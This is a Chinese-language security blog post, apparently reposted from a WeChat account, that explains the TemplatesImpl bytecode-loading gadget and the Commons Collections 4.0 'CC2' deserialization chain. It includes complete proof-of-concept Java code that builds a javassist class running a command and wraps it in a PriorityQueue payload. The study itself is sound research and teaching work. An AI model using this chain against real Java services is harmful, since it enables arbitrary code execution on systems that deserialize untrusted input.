CC2和TemplatesImpl简单分析

admin 2025年6月7日01:35:33评论1 views字数 8173阅读27分14秒阅读模式

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把BHSec设为星标,否则可能就看不到啦!

-------------------------------------------------------

TemplatesImpl分析

这条链是非常重要的一条反序列化链,可以让我们实现任意加载类字节码,也就是Java中的“代码注入”。这也是后续注入内存马等等操作的基石。

该类的路径是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

在我的机器上的绝对路径是/Library/Java/JavaVirtualMachines/jdk-1.8.jdk/Contents/Home/src.zip!/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java该类,本意是用于处理XSLT转换的。XSLT是一种用于将XML文档转换为其他格式(如HTML、文本或其他XML结构)的语言。但是现在因为其会调用defineClass方法,而存在严重的安全隐患。

利用链的调用栈如下

TemplatesImpl#getOutputProperties() ->    TemplatesImpl#newTransformer() ->        TemplatesImpl#getTransletInstance() ->            TemplatesImpl#defineTransletClasses()->                    TransletClassLoader#defineClass()->

首先,想要调用defineClass就需要找到谁有尝试调用过它,于是发现在TemplatesImpl中存在一个内部类TransletClassLoader有调用过defineClass函数。

CC2和TemplatesImpl简单分析

之后向上追溯发现是TemplatesImpl#defineTransletClasses函数调用了TransletClassLoader的构造方法。

CC2和TemplatesImpl简单分析

继续向上找到是TemplatesImpl#getTransletInstance方法调用的TemplatesImpl#defineTransletClasses

CC2和TemplatesImpl简单分析

之后继续往上就可以看到TemplatesImpl#newTransformer是一个public方法,有调用到getTransletInstance方法。

CC2和TemplatesImpl简单分析

简单一提,这里还有一个方法就是getOutputProperties也调用了newTransformer方法所以其实可以多加一层。

CC2和TemplatesImpl简单分析

这里我们来直接尝试调用templates.getOutputProperties();函数来debug

import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        templates.getOutputProperties();    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

在走到TemplatesImpl#getTransletInstance函数的时候会判断_name是否为空,所以应该通过反射的方对_name进行赋值。

CC2和TemplatesImpl简单分析

于是payload就会变成如下

import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_name""seizer");        templates.getOutputProperties();    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

之后走到下一步的判断_bytecodes是否为空,所以我们要通过反射的方式对其进行赋值。

CC2和TemplatesImpl简单分析

根据代码来看后边还有一份检验权限的需要使用来给对象赋值,来通过校验。

setFieldValue(templates,"_tfactory"new TransformerFactoryImpl());
CC2和TemplatesImpl简单分析

之后进行加载的类字节码就是bytecodes的内容,最终POC如下。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Field;public class Test {    public static void main(String[] args) throws Exception {        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass testCtClass = classPool.makeClass("TestCtClass");        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        CtConstructor ctConstructor = testCtClass.makeClassInitializer();        ctConstructor.insertBefore("Runtime.getRuntime().exec("open -a Calculator");");        byte[] bytes = testCtClass.toBytecode();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});        setFieldValue(templates,"_tfactory"new TransformerFactoryImpl());        setFieldValue(templates, "_name""seizer");        templates.getOutputProperties();    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }}

CC2分析

CC2的版本是4.0版本才存在漏洞的

<dependency>  <groupId>org.apache.commons</groupId>  <artifactId>commons-collections4</artifactId>  <version>4.0</version></dependency>

先将调用链给贴出来

ObjectInputStream.readObject()->PriorityQueue.readObject()->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator->TransformingComparator.compare()->InvokerTransformer.transform()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->cc2.newInstance()->Runtime.exec()

其实根据上边的TemplatesImpl的分析,知道了只要能调用到TemplatesImpl.newTransformer()函数就可以自定义的加载恶意类了。

首先写一个最后的POC

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;import java.lang.reflect.Field;import java.util.PriorityQueue;public class Main {    public static void main(String[] args) throws Exception {        ClassPool classPool = ClassPool.getDefault();        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));        CtClass testCtClass = classPool.makeClass("TestCtClass");        testCtClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));        CtConstructor ctConstructor = testCtClass.makeClassInitializer();        ctConstructor.insertBefore("Runtime.getRuntime().exec("open -a Calculator");");        byte[] bytes = testCtClass.toBytecode();        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates,"_bytecodes",new byte[][]{bytes});        setFieldValue(templates,"_tfactory"new TransformerFactoryImpl());        setFieldValue(templates, "_name""seizer");        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer"new Class[]{}, new Object[]{});        TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);        PriorityQueue queue = new PriorityQueue(2);        queue.add(1);        queue.add(1);        setFieldValue(queue,"comparator", transformingComparator);        setFieldValue(queue,"queue"new Object[]{templates,templates});        serialize(queue,"cc2.ser");        deserialize("cc2.ser");    }    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj,value);    }    private static void serialize(Object obj, String filename) throws IOException {        try (ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filename))) {            objectOutputStream.writeObject(obj);        }    }    private static Object deserialize(String filename) throws IOException, ClassNotFoundException {        try (ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename))) {            return objectInputStream.readObject();        }    }}

我们观察InvokerTransformer#transform的函数的代码,这里根据我们输入的内容直接去执行函数,所以我们这里可以直接输入TemplatesImpl的类的newTransformer函数。也就是在payload中编写了

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer"new Class[]{}, new Object[]{});
CC2和TemplatesImpl简单分析

现在就需要一个调用了InvokerTransformer#transform函数的入口了,于是就可以发现TransformingComparator#compare有执行transform函数,所以在payload中编写了

TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

可以看到obj1就已经直接是TemplatesImpl类了,而this.transformer就是InvokerTransformer

CC2和TemplatesImpl简单分析

于是继续往上找想要寻找谁有调用过TransformingComparator#compare就可以找到其实有一条利用链条。

PriorityQueue.readObject()->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator

在new了PriorityQueue对象之后,其实本身并不会调用到TransformingComparator的函数,但是可以通过反射的方式修改PriorityQueue对象的属性,来强行进入反序列化链。这两行代码将queue对象的comparator属性修改成了transformingComparator对象;将queue对象的queue属性修改成了templates的对象数组。

setFieldValue(queue,"comparator", transformingComparator);setFieldValue(queue,"queue"new Object[]{templates,templates});

于是当执行到heapify函数的时候this对象的两个元素均是TemplatesImpl类的对象,也就是我们通过反射设置的。

CC2和TemplatesImpl简单分析

之后再进入到siftDownUsingComparator函数的时候comparator对象直接就是transformingComparator,根据我们上边的分析需要执行到transformingComparator#compare函数就可以继续进行反序列化链。

CC2和TemplatesImpl简单分析

payload中通过反射让transformingComparator#compare的参数是TemplatesImpl对象,直接进行反序列化利用。

欢迎各位师傅加入我们~~~~
CC2和TemplatesImpl简单分析

原文始发于微信公众号(BH安全):CC2和TemplatesImpl简单分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日01:35:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CC2和TemplatesImpl简单分析http://cn-sec.com/archives/3868156.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息